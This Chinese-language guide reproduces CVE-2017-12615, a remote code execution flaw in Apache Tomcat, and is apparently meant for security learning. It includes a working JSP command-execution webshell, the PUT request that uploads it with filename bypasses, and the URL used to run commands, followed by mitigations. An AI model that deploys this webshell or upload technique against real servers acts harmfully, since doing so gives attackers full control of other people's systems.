CVE-2017-12615漏洞复现
字数 1641 2025-08-27 12:33:31

CVE-2017-12615漏洞分析与复现指南

1. 漏洞概述

CVE-2017-12615是Apache Tomcat中的一个高危远程代码执行漏洞,于2017年9月19日被官方确认并修复。该漏洞允许攻击者在特定条件下通过HTTP PUT方法上传包含任意代码的JSP webshell文件,从而导致服务器被控制。

影响版本:Apache Tomcat 7.0.0 - 7.0.79

漏洞危害

  • 服务器数据泄露
  • 服务器被完全控制
  • 恶意代码执行

2. 漏洞原理

2.1 默认配置分析

在Tomcat的conf/web.xml文件中,DefaultServlet负责处理静态文件请求,其配置中包含readonly参数:

<init-param>
    <param-name>readonly</param-name>
    <param-value>true</param-value>
</init-param>

默认情况下readonly为true,禁止HTTP PUT和DELETE请求。当此参数被设置为false时,攻击者可以利用PUT方法上传文件。

2.2 漏洞触发条件

  1. 运行在Windows系统上
  2. readonly参数被设置为false
  3. 攻击者能够发送PUT请求

2.3 绕过限制的方法

虽然Tomcat默认阻止上传.jsp和.jspx文件,但可以通过Windows文件系统特性绕过:

  1. 末尾添加空格shell.jsp%20
  2. 使用NTFS数据流shell.jsp::$DATA
  3. 添加斜杠shell.jsp/

3. 环境搭建

3.1 所需环境

  • 操作系统:Windows 10
  • Tomcat版本:7.0.56
  • JDK版本:1.8.0
  • 工具
    • Firefox浏览器
    • Burp Suite v1.7.36

3.2 漏洞环境配置

  1. 修改conf/web.xml文件,添加或修改以下内容:
<init-param>
    <param-name>readonly</param-name>
    <param-value>false</param-value>
</init-param>
  1. 保存文件并重启Tomcat服务

4. 漏洞复现步骤

4.1 构造WebShell

准备一个简单的JSP webshell,内容如下:

<%@ page import="java.util.*,java.io.*"%>
<%
if (request.getParameter("cmd") != null) {
    out.println("Command: " + request.getParameter("cmd") + "<br>");
    Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
    OutputStream os = p.getOutputStream();
    InputStream in = p.getInputStream();
    DataInputStream dis = new DataInputStream(in);
    String disr = dis.readLine();
    while (disr != null) {
        out.println(disr); 
        disr = dis.readLine(); 
    }
}
%>

4.2 使用Burp Suite进行攻击

  1. 配置浏览器通过Burp Suite代理
  2. 访问Tomcat默认页面
  3. 拦截请求并修改为PUT方法
  4. 构造PUT请求上传webshell:
PUT /shell.jsp%20 HTTP/1.1
Host: target:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: [webshell length]

[webshell content]
  1. 发送请求,服务器应返回201 Created响应

4.3 验证漏洞

  1. 访问上传的webshell:http://target:8080/shell.jsp
  2. 添加cmd参数执行命令:http://target:8080/shell.jsp?cmd=whoami
  3. 确认命令执行结果

5. 漏洞修复方案

5.1 官方修复

升级到Tomcat 7.0.80或更高版本。

5.2 临时缓解措施

  1. 恢复readonly参数

    • readonly参数值改回true
    • 或直接注释掉该参数
  2. 禁用PUT方法
    web.xml中添加以下配置:

<security-constraint>
    <web-resource-collection>
        <url-pattern>/*</url-pattern>
        <http-method>PUT</http-method>
    </web-resource-collection>
    <auth-constraint/>
</security-constraint>
  1. 文件系统权限控制
    • 限制webapps目录的写入权限
    • 定期检查异常文件

6. 深入分析

6.1 技术细节

漏洞的根本原因在于Tomcat对JSP文件上传的校验不足,结合Windows文件系统的特性:

  1. DefaultServlet处理PUT请求:当readonly=false时,DefaultServlet会处理PUT请求并保存文件
  2. JspServlet处理执行:上传的文件被当作JSP文件执行
  3. Windows文件名解析:Windows会自动去除文件名末尾的空格和.,使shell.jsp%20最终保存为shell.jsp

6.2 防御思路

  1. 输入验证:严格校验上传文件名
  2. 最小权限原则:web应用使用最小必要权限运行
  3. 安全配置:遵循Tomcat安全加固指南
  4. 入侵检测:监控web目录的文件变化

7. 总结

CVE-2017-12615漏洞展示了配置不当与平台特性结合可能导致的严重安全问题。管理员应:

  1. 及时更新中间件版本
  2. 遵循安全配置指南
  3. 限制不必要的HTTP方法
  4. 实施严格的输入验证
  5. 建立有效的监控机制

通过全面了解该漏洞的原理和利用方式,可以更好地防御类似的安全威胁。

CVE-2017-12615漏洞分析与复现指南 1. 漏洞概述 CVE-2017-12615是Apache Tomcat中的一个高危远程代码执行漏洞,于2017年9月19日被官方确认并修复。该漏洞允许攻击者在特定条件下通过HTTP PUT方法上传包含任意代码的JSP webshell文件,从而导致服务器被控制。 影响版本 :Apache Tomcat 7.0.0 - 7.0.79 漏洞危害 : 服务器数据泄露 服务器被完全控制 恶意代码执行 2. 漏洞原理 2.1 默认配置分析 在Tomcat的 conf/web.xml 文件中,DefaultServlet负责处理静态文件请求,其配置中包含 readonly 参数: 默认情况下 readonly 为true,禁止HTTP PUT和DELETE请求。当此参数被设置为false时,攻击者可以利用PUT方法上传文件。 2.2 漏洞触发条件 运行在Windows系统上 readonly 参数被设置为false 攻击者能够发送PUT请求 2.3 绕过限制的方法 虽然Tomcat默认阻止上传.jsp和.jspx文件,但可以通过Windows文件系统特性绕过: 末尾添加空格 : shell.jsp%20 使用NTFS数据流 : shell.jsp::$DATA 添加斜杠 : shell.jsp/ 3. 环境搭建 3.1 所需环境 操作系统 :Windows 10 Tomcat版本 :7.0.56 JDK版本 :1.8.0 工具 : Firefox浏览器 Burp Suite v1.7.36 3.2 漏洞环境配置 修改 conf/web.xml 文件,添加或修改以下内容: 保存文件并重启Tomcat服务 4. 漏洞复现步骤 4.1 构造WebShell 准备一个简单的JSP webshell,内容如下: 4.2 使用Burp Suite进行攻击 配置浏览器通过Burp Suite代理 访问Tomcat默认页面 拦截请求并修改为PUT方法 构造PUT请求上传webshell: 发送请求,服务器应返回201 Created响应 4.3 验证漏洞 访问上传的webshell: http://target:8080/shell.jsp 添加cmd参数执行命令: http://target:8080/shell.jsp?cmd=whoami 确认命令执行结果 5. 漏洞修复方案 5.1 官方修复 升级到Tomcat 7.0.80或更高版本。 5.2 临时缓解措施 恢复readonly参数 : 将 readonly 参数值改回 true 或直接注释掉该参数 禁用PUT方法 : 在 web.xml 中添加以下配置: 文件系统权限控制 : 限制webapps目录的写入权限 定期检查异常文件 6. 深入分析 6.1 技术细节 漏洞的根本原因在于Tomcat对JSP文件上传的校验不足,结合Windows文件系统的特性: DefaultServlet处理PUT请求 :当 readonly=false 时,DefaultServlet会处理PUT请求并保存文件 JspServlet处理执行 :上传的文件被当作JSP文件执行 Windows文件名解析 :Windows会自动去除文件名末尾的空格和 . ,使 shell.jsp%20 最终保存为 shell.jsp 6.2 防御思路 输入验证 :严格校验上传文件名 最小权限原则 :web应用使用最小必要权限运行 安全配置 :遵循Tomcat安全加固指南 入侵检测 :监控web目录的文件变化 7. 总结 CVE-2017-12615漏洞展示了配置不当与平台特性结合可能导致的严重安全问题。管理员应: 及时更新中间件版本 遵循安全配置指南 限制不必要的HTTP方法 实施严格的输入验证 建立有效的监控机制 通过全面了解该漏洞的原理和利用方式,可以更好地防御类似的安全威胁。